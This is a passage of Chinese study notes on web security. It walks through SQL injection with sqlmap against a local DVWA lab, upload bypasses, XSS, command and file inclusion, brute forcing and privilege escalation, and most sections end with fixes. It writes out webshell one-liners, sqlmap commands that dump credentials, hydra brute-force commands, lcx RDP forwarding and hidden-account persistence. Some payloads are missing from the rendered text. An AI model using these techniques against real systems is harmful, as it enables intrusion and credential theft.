Web安全深度剖析-笔记

Web安全深度剖析-笔记

文章目录

  • Web安全深度剖析-笔记
  • HTTP基础知识
    • http请求方法
    • http状态码
    • http消息头(字段)
    • 截取HTTP请求
    • 搜索引擎劫持
  • SQLmap注入
    • 注入基础知识
    • 使用DVWA来练习使用sqlmap
      • SQLmap基本使用方法
      • 更多的选项
      • 简述利用过程
    • 其他常用的参数用法
    • SQLmap能检测到的注入类型
    • 其他检测SQL注入的工具
  • 上传漏洞
    • WEB解析漏洞简介
      • IIS6.0解析漏洞
      • APACHE漏洞
      • PHP CGI解析漏洞
    • 中国菜刀与一句话木马
    • 利用上传漏洞的方法
      • 客户端使用JavaScript检测后缀名
      • 服务端检测文件的mime类型、检测文件扩展名
    • 修复上传漏洞
  • XSS跨站脚本漏洞
    • XSS的主要类型:反射型、存储型、DOM型
    • 测试XSS漏洞
    • XSS会话劫持
    • XSS框架
    • XSS可能发生的场景
    • XSS的修复
  • 命令执行漏洞
    • OS命令执行漏洞
    • 代码执行漏洞
    • 框架执行漏洞
    • 防范命令执行漏洞
  • 文件包含漏洞入门
    • 本地包含
    • 远程包含
    • 利用方式
    • 修复方法
  • 其他漏洞
    • CSRF跨站请求伪造
    • 逻辑错误漏洞
      • 越权访问:
      • 密码找回逻辑漏洞:
      • 支付逻辑漏洞:
    • 代码注入
    • URL跳转
    • webserver远程部署
  • 实战篇知识点
    • 0day
    • 网站后台安全
    • MD5加密
    • 拖库
  • 综合篇知识点
    • 暴力破解测试
    • 旁注攻击
    • 提权
    • ARP欺骗攻击
    • 社会工程学
  • 总结

HTTP基础知识

http是无状态的,请求之后就响应,然后完成,连接关闭。

http请求方法

序号 方法 描述
1 GET 请求指定的页面的资源,并返回实体主体。(如果请求资源为php、jsp等,则解析后进行展示)
2 HEAD 用于获取报头,类似于get请求,只不过返回的响应中没有具体的内容。(常用于扫描)
3 POST 向指定资源提交数据进行处理请求(例如提交表单或者上传文件)。常用于向服务器发送大量数据。(如请求login.php,并传递账户密码等信息)
4 PUT 客户端向服务器传送的数据取代指定的内容。(可以在服务器端创建,一般会禁用此方法)
5 DELETE 请求服务器删除指定的页面。(可以在服务器端删除,一般会禁用此方法)
6 CONNECT HTTP/1.1协议中预留给能够将连接改为管道方式的代理服务器。
7 OPTIONS 允许客户端查看服务器的性能。(可以查看服务器端允许的请求方法,可以用来收集信息)
8 TRACE 回显服务器收到的请求,主要用于测试或诊断。

http状态码

常见的HTTP状态码:

200 - 请求成功
301 - 资源(网页等)被永久转移到其它URL
302 - 重定向

400 - 请求语法错误
401 - 请求未经授权
403 - 服务器拒绝提供服务
404 - 请求的资源(网页等)不存在
500 - 内部服务器错误

http消息头(字段)

普通头:包括date消息产生的时间日期、connection指定连接的选项(连续的或不连续的)、cache-control缓存指令。

请求头 解释
host 域名
user-agent 客户端信息
referer 上一个页面
cookie 表示请求者身份
range 请求实体的部分内容
x-forward-for xff头,表示请求段的ip
accept 客户端希望接收的消息类型
accept-charset 客户端希望接收的字符类型
响应 解释
server Web服务器的名称
set-cookie 向客户端设置cookie
last-modified 资源上次修改时间
location 重定向的页面位置
refresh 定时刷新浏览器
实体头 解释
content-type 告知客户端实体的类型
content-encoding 应用到实体正文中附加内容的编码
content-length 实体正文的长度
last-modified 资源上次修改时间

截取HTTP请求

工具:burpsuite、fiddler

搜索引擎劫持

现象:直接输入自己网站的域名可直接登录,但是从搜索引擎搜到页面点击时,会跳转到其他页面

http头中有一个字段referer,可记录用户从哪个页面点击过来的,黑客通过user-agent字段实现搜索到从百度等搜索引擎跳转过来的访问请求时,构造一个location字段跳转到其他页面。

Ctrl点击回到目录

SQLmap注入

注意的点:

sqlmap不能扫描出网站有哪些漏洞,使用前请先使用扫描工具扫出sql注入点
sqlmap参数区分大小写
添加环境变量:在系统变量的path里面加上sqlmap.py的路径(前提是默认python版本是2才可以),win7的话还要添加可识别的后缀,即pathtxt。

如果你在测试的时候发现sqlmap只检测第一个参数,给URL加个英文引号或许比较好。

注入基础知识

万能密码是典型的SQL注入;

注入基本分为:数字型和字符型,数字型无需闭合引号,字符型需闭合引号;

**查询的方式:**不同的数据库通常有不同的注入方法,但原理基本相似

  1. 枚举表或列来提取信息
  2. 利用数据类型转换错误提取信息
  3. 从数据库系统视图获取源数据
  4. order by、union、having等语句
  5. 数据库提供的函数
  6. 动态执行语句

以上在手工进行SQL注入练习时将详细研究。

使用DVWA来练习使用sqlmap

SQLmap基本使用方法

python2 sqlmap.py -u "带注入点的URL"
如此便可以检测该地址是否存在注入,存在哪几种类型的注入

更多的选项

  • –cookie : 如果网站需要登录则需要设置cookie值
  • -u : 指定目标URL
  • -b : 获取DBMS banner,即数据库信息
  • –dbs : 枚举DBMS中的数据库
  • –current-db : 获取当前数据库名称
  • –current-user : 获取当前用户
  • –users : 枚举DBMS用户
  • –password : 枚举DBMS用户密码hash,一般与-users连用
  • -D : 要枚举的DBMS数据库
  • –tables : 枚举DBMS数据库中的数据表
  • -T : 要枚举的DBMS数据表
  • –columns : 枚举DBMS数据库表中的所有列
  • -C: 要枚举的DBMS数据表中的列
  • –dump : 转储DBMS数据表项

简述利用过程

  1. 带入URL和cookie信息检测是否存在注入点
    python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=57p5g7f32b3ffv8l45qppudqn3; security=low"
  2. 加参数-b --current-db --current-user获取数据库信息,当前数据库名和当前用户等信息
    python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=57p5g7f32b3ffv8l45qppudqn3; security=low" -b --current-db --current-user
  3. 加参数–users --password获取数据库所有用户名和密码
    python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=57p5g7f32b3ffv8l45qppudqn3; security=low" --users --password
  4. 加参数–dbs 获取所有的数据库名
    python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=57p5g7f32b3ffv8l45qppudqn3; security=low" --dbs
  5. 加参数-D 确定要采集信息的数据库名,加参数-tables 枚举该数据库的所有表名
    python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=57p5g7f32b3ffv8l45qppudqn3; security=low" -D dvwa --tables
  6. 加参数-T 确定要采集信息的数据表名,加参数-columns 枚举该数据表的所有列名(字段)
    python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=57p5g7f32b3ffv8l45qppudqn3; security=low" -D dvwa -T users --columns
  7. 加参数-C 确定感兴趣的字段名,加参数-dump将获取的表项存储下来。
    python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=57p5g7f32b3ffv8l45qppudqn3; security=low" -D dvwa -T users -C user,password --dump

最终能够得到可以登录dvwa的所有账户密码。

Database: dvwa
Table: users
[5 entries]
+———+———+———————————————+
| user_id | user| password |
+———+———+———————————————+
| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99(password) |
| 2 | gordonb |e99a18c428cb38d5f260853678922e03 (abc123) |
| 3 | 1337 |8d3533d75ae2c3966d7e0d4fcc69216b (charley) |
| 4 | pablo |0d107d09f5bbe40cade3de5c71e9e9b7 (letmein) |
| 5 | smithy |5f4dcc3b5aa765d61d8327deb882cf99 (password) |
+———+———+———————————————+

原文:http://www.freebuf.com/articles/web/29942.html

其他常用的参数用法

  • 测试注入点权限
    sqlmap.py -u "url" --privileges \测试所有用户权限
    sqlmap.py -u "url" --privileges -U sa \单独测试sa用户的权限

  • 执行shell命令
    sqlmap.py -u [URL] --os-cmd="net user" \执行net user命令
    sqlmap.py -u [URL] --os-shell \系统交互的shell

  • 执行SQL命令
    sqlmap.py -u [URL] --sql-shell \sql交互的shell
    sqlmap.py -u [URL] --sql-query='sql' \sql交互的shell

  • 注入http请求
    DVWA安全级别medium注入方法:中级的页面提交的参数不在地址栏中显示,burp抓包显示参数在http请求的正文中,此时可通过注入http请求的方式,其它步骤基本一致
    sqlmap.py -r head.txt --dbs \head.txt内容为http请求
    head.txt内容如下

    POST /login.php HTTP/1.1
    Host:127.0.0.1/dvwa 
    User—Agent:Mozilla/5.0
    
    username=admin&password=password 
    

    head.txt中最好不要直接用抓包数据,建议删掉cookie、Referer等信息。(正确性待定)

  • 注入http请求2
    sqlmap.py -u "url" --forms \forms参数会自动抓取post包,从而进行注入

  • 将注入语句插入到指定位置
    sqlmap.py -u "http://www.xxser.com/id/2*.html" —dbs \伪静态页面可以利用星号指定注入点

  • 使用sqlmap插件
    sqlmap.py -u [URL] -tamper "base64encode.py" \sqlmap自带的插件可以进行特殊的操作

SQLmap能检测到的注入类型

有以下5种:

  • Boolean-based blind(布尔型注入)
    通过判断页面返回情况获得想要的信息。
  • Error-based(报错型注入)
  • UNION query(可联合查询注入)
  • Stacked queries(可多语句查询注入)
  • Time-based blind(基于时间延迟注入)
    盲注的一种,由于页面无回显,添加sleep函数,通过页面响应时间判断是否执行了函数。

其他检测SQL注入的工具

pangolin(穿山甲)、Havij(萝卜头)

Ctrl点击回到目录

上传漏洞

不对上传文件进行格式限制,导致任意文件上传,这就是一个上传漏洞

WEB解析漏洞简介

上传漏洞通常与WEB解析漏洞配合在一起

IIS6.0解析漏洞

  1. 当文件夹名命名为XX.asa或XX.asp时,文件夹中的所有文件都会被当做asp文件来执行
  2. 当文件命名为*.asp;1.jpg时,此文件会被当做asp文件来执行
  3. WebDav漏洞:开启webdav后,可扩展move、copy、delete等HTTP方法,此时即可put一个a.txt写入一句话木马,并通过copy或move改名为xx.asp,这样即可轻松上传一个webshell。同样可以使用delete方法删除任意文件。

APACHE漏洞

Apache在解析文件时有一个原则:当碰到不认识的扩展名时,将会从后向前解析,直到碰为止,如果都不认识,则会暴露其源代码。比如:1.php.rar ,apache不认识rar后缀,就会解析成php文件。

PHP CGI解析漏洞

Nginx曾经有两个解析漏洞,当在正常网页www.xx.com/1.jpg后面加上/xx.php时(xx.php文件不需要存在),1.jpg就会被当成PHP脚本来运行。
但此漏洞为PHP漏洞,因为PHP的配置文件中cgi.if选项默认开启向前递归解析,当xx.php文件不存在时,就解析上一级文件,造成解析漏洞。

中国菜刀与一句话木马

往目标网站中加入一句话木马,然后你就可以在本地通过中国菜刀chopper.exe即可获取和控制整个网站目录
通常会构造图片木马,方法:

  • cmd使用copy xx.jpg/b+xx.php/a xxxx.jpg构造图片木马
  • 也可以使用edjpgcom.exe

各语言的一句话代码

asp的一句话是:
<%eval request ("pass")%>
aspx的一句话是:
<%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>
php的一句话是:

利用上传漏洞的方法

客户端使用JavaScript检测后缀名

绕过方法:

  1. 本地构造表单突破验证,或通过firebug(浏览器插件)在页面源代码中删除掉触发JavaScript检测的事件,就可以绕过验证;
  2. 中间人攻击方法,使用burpsuite上传正常后缀的文件,然后再传输中的HTTP层修改后缀名,需同时更改content-length值;

服务端检测文件的mime类型、检测文件扩展名

**黑名单过滤 **

绕过:找开发人员忽略的扩展名、AsP和PhP等大小写转换(win系统会忽略后缀名的大小写)、后缀名后加小数点或空格(win系统会自动忽略后缀名后的小数点或空格)

**白名单过滤 **

绕过:利用IIS 6.0解析漏洞,上传XX.asp;.jpg图片,IIS 6.0会把图片当成脚本执行。

MIME验证

mime类型用来设定某种扩展名文件的打开方式,如GIF图片的mime类型为image/gif
绕过:中间人攻击方法,上传php脚本文件后,HTTP请求头content-type值为applicat/php,将在HTTP请求中的Content-Type更改为image/jpeg类型,即可通过验证。

目录验证

如果在网页源码中可以对上传目录进行控制(修改文件上传的目录),控制文件上传到XX.php文件夹,并提交一句话图片木马,此时可利用IIS 6.0漏洞进行解析。

截断上传

上传1.asp 1.jpg(中间有空格)文件名的木马,在burpsuite的repeater功能hex选项中修改http请求包的空格的HEX值,由20改为00,即将空格改成null值。上传后文件名即为1.asp

文本编辑器上传漏洞

举例:fckeditor类似于插件,常插入到网站中,例如论坛。2.4.2版本以前有上传漏洞,可通过00截断上传脚本,获取webshell

具体方法:

  1. 打开某网站主页,在地址后面添加“/fckeditor“,若出现禁止访问,则判断有fckeditor编辑器;
  2. 在地址后面继续添加“/_whatsnew.html”就回返回fckeditor的版本信息;
  3. 打开存在漏洞的上传页面:地址+FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
  4. 上传一个asp脚本,命名为1.asp.jpg,并在burpsuite的hex中将jpg前点的二进制码改为00,即可上传成功;
  5. 然后即可使用菜刀连接

.htaccess文件攻击

如果可以上传自定义的htaccess文件,并覆盖掉原来的文件
可以在里面添加如下内容,意为:文件名中包含haha的文件都当做PHP文件执行,此时便可直接菜刀连接。


SetHandler application/x-httpd-php

修复上传漏洞

上传漏洞的原因:

  • 未限制上传文件类型;
  • 目录过滤不严,攻击者可建立畸形目录;
  • 文件未重命名,攻击者可利用web容器解析漏洞;

解决以上问题,基本可以避免上传漏洞,但不绝对。

Ctrl点击回到目录

XSS跨站脚本漏洞

xss属于客户端攻击

用户浏览嵌入恶意代码的网页时,恶意代码会在用户浏览器上执行操作,理论上与服务器无关系,只攻击用户,但网站管理员也是用户!。

  • 最简单的xss举例
    在网页的文本输入框内,输入,提交后即可弹窗
  • 复杂的xss举例
    在网页的文本输入框内,输入,提交后即可从外部加载脚本,实现诸如获取用户cookie,或是监控键盘记录等等。

XSS的主要类型:反射型、存储型、DOM型

反射型

非持久性XSS,每当用户访问一个带有xss代码的网页时,服务器发送数据到用户浏览器,浏览器在解析这段xss代码,造成xss漏洞。

存储型

持久性XSS,当页面允许用户存储数据时,攻击者提交一段xss代码后被服务器接收并存储,当攻击者再次访问这个被存储的数据时,这段xss代码就会被读出来,响应给浏览器,造成xss攻击。
当存储数据时还要考虑是否需要闭合HTML代码,保证xss代码被执行。

DOM型

入门阶段不做深入研究

测试XSS漏洞

可得知输入位置(能在页面查看源码)

输入aaaaaaa<>'"&然后在源码中查找aaaaaaa,可得知程序是否对敏感字符做过滤;

无法得知输入位置

留言过后需要管理员审核的情况,无法得知数据在后台页面处于何种状态,通常采用输入/>xss test来测试

全自动测试

APPscan、AWVS、burpsuite都可以有效检测xss漏洞。但短信验证、验证码检测的页面就需要手工进行检测了

XSS会话劫持

cookie简介

cookie允许服务器存储少量的数据到客户端硬盘,并通过读取这些数据标识用户,维持会话。
cookie分内存cookie(存在时间短,浏览器关闭即消失)和硬盘cookie(存在时间较长)。
cookie通常由变量名和值组成,可能还有date用来确定失效时间、domain和path设置允许访问cookie的范围、secure加密协议才可使用cookie。还有HttpOnly字段,禁止JavaScript读取cookie,此字段可有效防止xss会话劫持。

cookie的利用

cookie有时会用来做身份验证,黑客获取到cookie即可使用burpsuite等工具实现无密码登录。

SESSION简介

用户浏览一个网页即是一个客户端与服务端的会话,被称为SESSION。
SESSION是一个随机不重复的的“编号”,随浏览器和服务器关闭。
SESSION可以存储在cookie中,作为临时cookie。cookie和SESSION的最大区别是,cookie存储于客户端,SESSION存储于服务端,其在客户端仅显示为一个ID。
当会话未关闭时,获取到session同样可以 会话劫持。

XSS框架

xss框架是一组JavaScript工具集合,如键盘记录,盗取cookie,表单劫持的等,国内最著名的是xsser.me。

XSS可能发生的场景

  1. 输入的数据在标签内部
    最简单的的跨站,无需构造标签
    ${input}

    ---------------->
  2. 输入的数据在属性内部
    仅仅需要闭合标签即可进行xss操作

    ---------------->
    ">

  3. 输入的数据在事件中输出
    与属性内输入相同

    ---------------->
    ">
  4. 在CSS中输出
    css中输出同样存在xss风险

    ---------------->
    body {background-img:url("javascript:alert('xss')");}
  5. 在script标签内输出

    ---------------->
    var usrname = "1";alert(/xss/);//"此处的//为javascropt简称js的注释标记

XSS的修复

XSS的形成,是因为未对输入和输出进行严格的过滤,导致在页面执行JavaScript等客户端脚本。

  1. 在HTML中对特殊字符<>/'"&等符号进行字符转义
  2. 打开cookie中HttpOnly属性
    此对防御xss不起作用,主要防止xss漏洞后续的cookie劫持攻击。xss的攻击手段太多,能够模拟正常操作,盗取信息,钓鱼等等,仅靠httponly不够。

Ctrl点击回到目录

命令执行漏洞

OS命令执行漏洞

OS命令执行漏洞可以直接执行系统层或应用层命令

通过客户端、页面等在服务器端执行系统命令。
产生原因:命令可连接执行
ping 8.8.8.8 && net user
其他命令连接符:如&、||、|等

举例如dvwa的命令执行漏洞。

代码执行漏洞

代码执行漏洞通过执行脚本代码来调用操作系统命令

php命令执行漏洞

主要是一些函数的参数过滤不严格所导致,可以执行OS命令的函数一共有7个:system(), exec(), shell_exec(), passthru(), pcntl_exec(), popen(), proc_open()

JAVA命令执行漏洞

Java SE存在runtime类,提供exec方法以执行字符串命令。

框架执行漏洞

框架,即framework。是某种应用的半成品,是一组组件,供你选用完成你自己的系统。
框架出现漏洞影响范围会比较大。

struts2代码执行漏洞

struts2是java的三大框架之一,历史上爆发多次命令执行漏洞,可以使用K8漏洞利用工具进行检测。

ThinkPHP命令执行漏洞

是一款老牌PHP框架,曾发生过任意代码执行漏洞,可插入一句话木马,使用菜刀连接。

防范命令执行漏洞

使用执行命令的函数方法要做好敏感字符过滤和转义,并确保输入可控。

“有输入的地方就有可能存在漏洞。” —— 一句老话

Ctrl点击回到目录

文件包含漏洞入门

包含漏洞经常出现在PHP语言中,文件包含漏洞分为本地包含和远程包含

本地包含

PHP中常用的文件包含函数include() require()
当包含一个php文件时会执行它(上传恶意代码来包含),当包含非php语法规范的文件时会暴露文件的内容(可用于查看配置文件)

远程包含

需要开启远程包含选项(默认关闭的)
可连接到外部网站,可连接一个其他网站的php木马,在网站执行

利用方式

  1. 本地包含读取敏感配置文件

  2. 远程包含一句话木马,意为新建一个shell.php,内容为php一句话木马内容

    ")?>

  3. 利用文件上传后配合本地包含来执行

  4. 利用PHP自带的封装协议

    php://可以用来读取php文件的内容,直接包含的话会执行PHP文件;

    php://input在远程包含选项开启的情况下,可以用此协议执行PHP语句;

  5. 包含apache日志

    当存在文件包含漏洞却无法找到合适的文件来利用时,可以找apache的日志文件路径(重点),然后直接访问http://www.xxser.com/再通过burp编码防止地址中的特殊符号被转码,然后就可以在日志文件中生成有完整PHP代码的日志记录,在利用包含漏洞如包含日志文件,即可执行其中的PHP代码

  6. 截断包含

    当文件包含时被限定扩展名只能为php时(无法通过上传图片木马创建一句话木马),使用%00截断字符放在图片文件扩展名后,截断扩展名限制。仅限未对特殊字符转义的情况下。

修复方法

  1. 严格判断包含中的参数是否外部可控;代码层面
  2. 限制被包含文件所在路径,并限制目录跳转字符../
  3. 为被包含文件设置白名单;
  4. 尽量不使用动态包含;

Ctrl点击回到目录

其他漏洞

CSRF跨站请求伪造

在浏览器和服务器的会话未结束时,利用用户的权限执行操作,别称”one click attack“

即通过输入特定的URL或者访问特定的HTML文件已达到执行某些敏感操作的目的,能够这样操作的站点均存在CSRF漏洞。

测试方法

OWASP-CSRFTester-1.0

设代理–抓取–修改参数构建HTML测试包–使用HTML测试

Burpsuite

在安全度low的dvwa的CSRF测试页面随意提交一些数据,然后抓包,右键选择Engagement tools – Generate CSRF PoC,在参数页面修改想要提交的参数值,点击左下角Generate生成攻击脚本,可直接复制URL在浏览器测试,或复制html文本到本地打开,能够达到预期的效果即存在CSRF漏洞。

解决方法

  1. 二次点击确认操作

  2. token认证:

    用户登录时随机分配一段字符串,存储在session中,提交表单参数时,token作为一个参数存在,以确认操作是不是正常请求。如果是GET请求,无参数传递,则将token值存储在cookie中,完成后更新token值。

csrf是xss的缩小版,xss危害比csrf大,如果存在xss则防范csrf无意义。

逻辑错误漏洞

逻辑漏洞:程序开发时,遗漏某些可能出现的情况,或不能正确处理,导致逻辑上的漏洞,比如越权。

越权访问:

水平越权:相同级别、权限的不同用户之间越权访问、修改或删除等操作。容易造成大批量用户信息泄露或信息恶意篡改。

垂直越权:不同级别、权限的用户之间,分为向上越权和向下越权。

密码找回逻辑漏洞:

通过邮箱找回密码的步骤一般是:1. 首先验证该用户的密码找回邮箱是否正确;2. 向该邮箱发送密码重置的链接。
如果可以抓包修改向哪个邮箱发送链接,即可使用自己的邮箱接收他人的密码重置链接。

支付逻辑漏洞:

商品数量为负数:当某购物网站未对商品的数量进行验证,修改商品数量为负数,则付款金额为负数,购买完成时自己的余额便会增加相应的数量,此为“刷钱漏洞”。

**0元购买商品:**案例:一般程序会有异常处理机制,比如尝试将某字符串转换为数字时,为了不让程序崩溃,会将此变量赋值为某个初始值(比如0)并抛出异常提示。如果没有中断此进程,这个0值可能参与接下来的程序运行。 如将单价抓包修改为字符串,产生异常后程序将单价赋值为0,如果继续付款就会以0元单价购买商品。

**指定账户恶意攻击:**案例:某拍卖行账户输入密码错误次数3次后锁定1天,如果攻击者得知竞争对手的拍卖账户,每天0点恶意尝试密码以致账户锁定,则会产生不公平竞争。
如果网站账户可以轻易获取,并存在登录失败锁定功能,则可判断其存在信息泄露或指定账户恶意攻击漏洞。

代码注入

两种定义:1,客户端提交的代码在服务器端当做动态代码或嵌入文本处理;2,客户端提交的代码未经检查就让服务器来执行。
1定义 包含OS命令执行、文件包含、动态函数调用、代码执行等;
2定义 则将SQL注入、XML注入、xss文件包含、命令执行等都视为代码注入范围。

XML注入

xml一般用于网络数据的转换和描述,而非显示。

此类型注入比较少见,利用方式为:如果某网站采用xml文件保存重要的登录信息且事先了解到xml的表结构,则通过闭合标签向xml写入数据,即可拥有随意新建账户的能力。

XPath注入

xpath是XML路径语言,可把xml文件当做数据库表,通过xpath语言进行查询,此时攻击方法类似SQL注入。

解决方法:对xpath查询语句进行预定义字符转换。

JSON注入

json是JavaScript的一种轻量级的数据交换格式,功能与xml类似。在json中插入特殊字符,如引号,仅会破坏json的表结构,导致解析失败。

解决方法:对存储到json的特殊字符进行转义。

HTTP 参数污染

HTTP请求中可以传输多个相同的参数项,而不同的web容器会选取不同位置的参数来取值,此时可利用参数污染来绕过WAF。

PHP:news.php?id=1&id=select username,password from admin--
WAF认为此请求的参数为id=1,而PHP取值select username,password from admin--

ASP:news.aspx?id=1;&id=s&id=l&id=e&id=c&id=t&
asp将会把相同参数的值链接在一起使用,此时会取值id=1;&id=select

URL跳转

客户端跳转:也称为URL重定向,浏览器地址栏会有明显的变化,在HTTP请求头中可以看到302指示。可能产生URL重定向漏洞。

服务器跳转:也称为URL转发,浏览器地址栏无变化,无法利用。

标签跳转既不属于转发,也不属于重定向,新闻列表<\a>

案例:

QQ发送求投票的钓鱼网站,打开后请求qq登录盗取QQ密码,漫游聊天记录信息进行社工,仿照被攻击的聊天习惯向好友发送诈骗信息。

webserver远程部署

Tomcat

tomcat是一个流行的Java web应用服务器,安装后默认端口为8080,Tomcat的默认部署界面存在manager管理页面,如果拥有manager权限账号即可远程管理网站,上传web shell,默认的存在admin/admin的管理密码。

JBoss

JBoss是JavaEE的开源应用服务器,一般与Tomcat或jetty绑定使用,安装后默认端口为8080,JBoss的默认部署界面存在JMX Console管理页面,且默认无需密码验证就可以远程部署webserver。

WebLogic

weblogic是BEA的一个应用服务器,基于JavaEE的中间件,安装后默认端口7001,URL后添加console即可跳转至管理界面,新版本对管理界面的密码策略要求严格,基本无法破解,老版本存在账密相同的Weblogic,system,guest,portaladmin等弱口令。

Ctrl点击回到目录

实战篇知识点

0day

原意指的是软件第一天发布就被他人破解了,现在一般指无补丁的漏洞。一般通过源代码审计来挖掘0day漏洞。

网站后台安全

主题样式可编辑可以插入一句话木马
后台文件管理功能
后台执行SQL语句管理数据库功能
备份数据库功能可以让程序将图片木马备份成脚本文件

MD5加密

普通的md5密文70%可以通过解密网站进行破解,安全的加密方法为:一次md5加密后在制定位置添加一段密文进行二次md5加密,即可提高破解难度。

拖库

知道数据库密码且支持外连接的情况下,可以使用navcat连接拖库;

不支持外连接只能通过SQL注入,提权,本地导出等方法;

Ctrl点击回到目录

综合篇知识点

暴力破解测试

SQL server数据库端口1433
Oracle数据库端口1521
MySQL数据库端口3306
DB2数据库端口5000

爆破工具Hydra

命令演示(需在hydra.exe的目录的cmd下运行):
hydra -l root -P C:/passlist.txt 192.168.1.1 mysql
指定用户root,使用密码txt文件破解密码,目标为192.168.1.1的MySQL数据库

hydra -L c:/user.txt -P c:/pass.txt -t 5 192.168.1.1 ftp
同时爆破192.168.1.1的ftp用户和密码,指定线程为5

hydra -l Administrator -P c:/pass.txt www.xxser.com rdp -V
爆破rdp(Windows远程桌面)密码

爆破工具Medusa

命令演示,工具在kali里面有集成

medusa -h 192.168.1.1 -u root -P pass.txt -M mysql

验证码爆破

一般手机邮件接收的验证码为4位数字,30min有效,只要在30min内遍历0000~9999即可爆破验证码。

防止爆破

密码复杂性、复杂的验证码、限制登录次数

旁注攻击

旁注攻击即通过与目标网站同服务器的其他网站渗透到目标网站,再通过提权获取目标站点的权限。这一过程就是旁注攻击的过程。

IP逆向查询

通过网站域名查询IP地址,再通过IP地址查询相同IP地址的站点。

如果其中一个网站存在注入点,则可能获取整个服务器上所有的数据库表。此外还能使用目录越权、构造注入点(仅用于知道数据库账密,但无法直接连接的情况)

CDN

CDN就是将原服务器上可以缓存的文件(静态文件、图片、JS、CSS等)下载到缓存服务器,当用户在访问你的域名时,将会访问缓存服务器,而不是直接去访问源服务器。

服务器使用cdn后真实IP地址会被隐藏,此时可通过1,寻找网站phpinfo()页面获取服务器配置信息;2,主域名会用cdn,子域名不一定,ping没有用cdn的子域名地址即可获取ip;3,观察IP变化,猜测真实IP地址。(3?)

提权

溢出提权:在有溢出漏洞的机器上执行溢出程序,可获得一个root shell

第三方组件提权:数据库提权(注入点或执行系统命令)、FTP提权(ftp可执行系统命令或ftp软件漏洞)、PcAnywhere远控软件提权

提权辅助:

  1. 3389端口:获取服务器cmdshell权限后,可通过bat代码开启RDP服务;

  2. 端口转发:使一个外部用户从外部连接一个在私有局域网内部上的一个端口。工具:lcx、reDuh等

    简单利用方法(lcx):

    1. 个人主机用lcx监听500 8888端口;lcx listen 500 8888
    2. 内网服务器将端口数据转发;lcx.exe -slave 个人主机IP地址 500 127.0.0.1 3389
    3. 外部主机通过mstsc 127.0.0.1:8888即可连接内网主机

    原理:外部主机无法直接连接内网服务器,但可以让内网服务器主动将自己的3389发送到外部主机的指定端口上,这样通过外部主机的指定端口就可以连接内部主机主动转发的3389端口,即可实现远程控制。

  3. 启动项提权:编写一个创建admin账户的bat脚本,放在启动文件夹里

  4. DLL劫持:任何exe文件的文件夹下如果有lpk.dll则会运行,否则运行系统目录下的dll文件。利用工具T00ls Lpk Sethc可以制作dll文件后门。

  5. 添加后门:创建隐藏的账户

ARP欺骗攻击

使用arp攻击欺骗局域网内的其它主机,自己可以作为中间人截取其他主机之间的通信,还可以实现域名劫持。

防御方法包括:1,静态arp地址绑定;2,arp软件防火墙(简单操作即可追踪,拦截arp攻击)

社会工程学

《欺骗的艺术》–凯文.米特尼克


总结

18/11/5看完第一遍,只是一知半解,后续进入实战的练习中了。。。

加油吧 骚年~



文章目录

  • Web安全深度剖析-笔记
  • HTTP基础知识
    • http请求方法
    • http状态码
    • http消息头(字段)
    • 截取HTTP请求
    • 搜索引擎劫持
  • SQLmap注入
    • 注入基础知识
    • 使用DVWA来练习使用sqlmap
      • SQLmap基本使用方法
      • 更多的选项
      • 简述利用过程
    • 其他常用的参数用法
    • SQLmap能检测到的注入类型
    • 其他检测SQL注入的工具
  • 上传漏洞
    • WEB解析漏洞简介
      • IIS6.0解析漏洞
      • APACHE漏洞
      • PHP CGI解析漏洞
    • 中国菜刀与一句话木马
    • 利用上传漏洞的方法
      • 客户端使用JavaScript检测后缀名
      • 服务端检测文件的mime类型、检测文件扩展名
    • 修复上传漏洞
  • XSS跨站脚本漏洞
    • XSS的主要类型:反射型、存储型、DOM型
    • 测试XSS漏洞
    • XSS会话劫持
    • XSS框架
    • XSS可能发生的场景
    • XSS的修复
  • 命令执行漏洞
    • OS命令执行漏洞
    • 代码执行漏洞
    • 框架执行漏洞
    • 防范命令执行漏洞
  • 文件包含漏洞入门
    • 本地包含
    • 远程包含
    • 利用方式
    • 修复方法
  • 其他漏洞
    • CSRF跨站请求伪造
    • 逻辑错误漏洞
      • 越权访问:
      • 密码找回逻辑漏洞:
      • 支付逻辑漏洞:
    • 代码注入
    • URL跳转
    • webserver远程部署
  • 实战篇知识点
    • 0day
    • 网站后台安全
    • MD5加密
    • 拖库
  • 综合篇知识点
    • 暴力破解测试
    • 旁注攻击
    • 提权
    • ARP欺骗攻击
    • 社会工程学
  • 总结

你可能感兴趣的:(网络安全)